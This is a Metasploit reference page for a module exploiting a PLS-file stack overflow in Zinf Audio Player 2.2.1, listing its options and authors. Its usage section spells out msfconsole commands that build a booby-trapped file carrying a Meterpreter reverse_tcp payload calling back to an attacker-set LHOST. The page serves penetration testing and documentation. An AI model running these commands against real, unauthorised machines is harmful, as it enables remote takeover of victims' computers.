Metasploit Penetration Testing Framework

Zinf Audio Player 2.2.1 (PLS File) Stack Overflow.

This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1. An attacker must send the file to victim and the victim must open the file. Alternatively it may be possible to execute code remotely via an embedded PLS file within a browser, when the PLS extention is registered to Zinf. This functionality has not been tested in this module.

Rank

Good

Authors

Trancek < trancek [at] yashira.org >
patrick < patrick [at] aushack.com >

References

Exploit Targets

0 - Zinf Universal 2.2.1 (default)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/zinfaudioplayer221_pls
msf exploit(zinfaudioplayer221_pls) > show payloads
msf exploit(zinfaudioplayer221_pls) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(zinfaudioplayer221_pls) > set LHOST [MY IP ADDRESS]
msf exploit(zinfaudioplayer221_pls) > exploit

Module Options

FILENAME	The file name. (default: exploit_zinf.pls)
OUTPUTPATH	The location of the file. (default: /usr/lib/msf3/data/exploits)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
DynamicSehRecord	Generate a dynamic SEH record (more stealthy)
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

OSVDB:	CVE:
BID:	MSB:
TEXT: